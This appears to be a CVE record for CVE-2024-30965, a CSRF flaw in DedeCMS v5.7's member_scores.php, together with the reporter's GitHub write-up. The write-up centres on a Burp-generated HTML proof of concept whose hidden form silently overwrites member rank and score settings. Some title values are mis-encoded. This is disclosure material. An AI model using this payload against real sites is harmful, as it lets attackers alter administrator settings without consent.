CVE-2024-30965 (Markdown, published 2024-04-02T14:15Z)
Description: value: DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability via /src/dede/member_scores.php.
Severity: nan (CVSS v3 base score: )
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/Fishkey1/cms
Files changed:
1.md
README.md
Commit message: Create 1.md

Vulnerable code:

Fixed code:
target:https://github.com/wdsunwq/DedeCMSv5
version: v5.7

DedeCMS v5.7 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /src/dede/member_scores.php
![1](https://github.com/Fishkey1/cms/assets/164625271/8b909b5c-a852-404f-90bb-23f97d296174)

Poc:

```
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/src/dede/member_scores.php" method="POST">
      <input type="hidden" name="action" value="save" />
      <input type="hidden" name="integral&#45;2" value="0" />
      <input type="hidden" name="icon&#45;2" value="1" />
      <input type="hidden" name="titles&#45;2" value="�&#136;&#151;�&#133;�" />
      <input type="hidden" name="isdefault&#45;2" value="1" />
      <input type="hidden" name="integral&#45;3" value="1000" />
      <input type="hidden" name="icon&#45;3" value="2" />
      <input type="hidden" name="titles&#45;3" value="�&#143;&#173;�&#149;&#191;" />
      <input type="hidden" name="isdefault&#45;3" value="1" />
      <input type="hidden" name="integral&#45;4" value="2000" />
      <input type="hidden" name="icon&#45;4" value="3" />
      <input type="hidden" name="titles&#45;4" value="�&#176;&#145;�&#176;&#137;" />
      <input type="hidden" name="isdefault&#45;4" value="1" />
      <input type="hidden" name="integral&#45;5" value="3000" />
      <input type="hidden" name="icon&#45;5" value="4" />
      <input type="hidden" name="titles&#45;5" value="�&#184;&#173;�&#176;&#137;" />
      <input type="hidden" name="isdefault&#45;5" value="1" />
      <input type="hidden" name="integral&#45;6" value="4000" />
      <input type="hidden" name="icon&#45;6" value="5" />
      <input type="hidden" name="titles&#45;6" value="�&#184;&#138;�&#176;&#137;" />
      <input type="hidden" name="isdefault&#45;6" value="1" />
      <input type="hidden" name="integral&#45;7" value="5000" />
      <input type="hidden" name="icon&#45;7" value="6" />
      <input type="hidden" name="titles&#45;7" value="�&#176;&#145;�&#160;&#161;" />
      <input type="hidden" name="isdefault&#45;7" value="1" />
      <input type="hidden" name="integral&#45;8" value="6000" />
      <input type="hidden" name="icon&#45;8" value="7" />
      <input type="hidden" name="titles&#45;8" value="�&#184;&#173;�&#160;&#161;" />
      <input type="hidden" name="isdefault&#45;8" value="1" />
      <input type="hidden" name="integral&#45;9" value="9000" />
      <input type="hidden" name="icon&#45;9" value="8" />
      <input type="hidden" name="titles&#45;9" value="�&#184;&#138;�&#160;&#161;" />
      <input type="hidden" name="isdefault&#45;9" value="1" />
      <input type="hidden" name="integral&#45;10" value="14000" />
      <input type="hidden" name="icon&#45;10" value="9" />
      <input type="hidden" name="titles&#45;10" value="�&#176;&#145;�&#176;&#134;" />
      <input type="hidden" name="isdefault&#45;10" value="1" />
      <input type="hidden" name="integral&#45;11" value="19000" />
      <input type="hidden" name="icon&#45;11" value="10" />
      <input type="hidden" name="titles&#45;11" value="�&#184;&#173;�&#176;&#134;" />
      <input type="hidden" name="isdefault&#45;11" value="1" />
      <input type="hidden" name="integral&#45;12" value="24000" />
      <input type="hidden" name="icon&#45;12" value="11" />
      <input type="hidden" name="titles&#45;12" value="�&#184;&#138;�&#176;&#134;" />
      <input type="hidden" name="isdefault&#45;12" value="1" />
      <input type="hidden" name="integral&#45;15" value="29000" />
      <input type="hidden" name="icon&#45;15" value="12" />
      <input type="hidden" name="titles&#45;15" value="�&#164;&#167;�&#176;&#134;" />
      <input type="hidden" name="isdefault&#45;15" value="1" />
      <input type="hidden" name="add&#95;integral" value="" />
      <input type="hidden" name="add&#95;icon" value="" />
      <input type="hidden" name="add&#95;titles" value="" />
      <input type="hidden" name="add&#95;isdefault" value="1" />
      <input type="hidden" name="imageField" value="�&#143;&#144;浜&#164;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

```
![2](https://github.com/Fishkey1/cms/assets/164625271/0b369563-4226-4bc6-8075-6fc836dcb156)



successed

![3](https://github.com/Fishkey1/cms/assets/164625271/feb0c762-0a1b-4748-a477-5bb63358a1a5)
# cms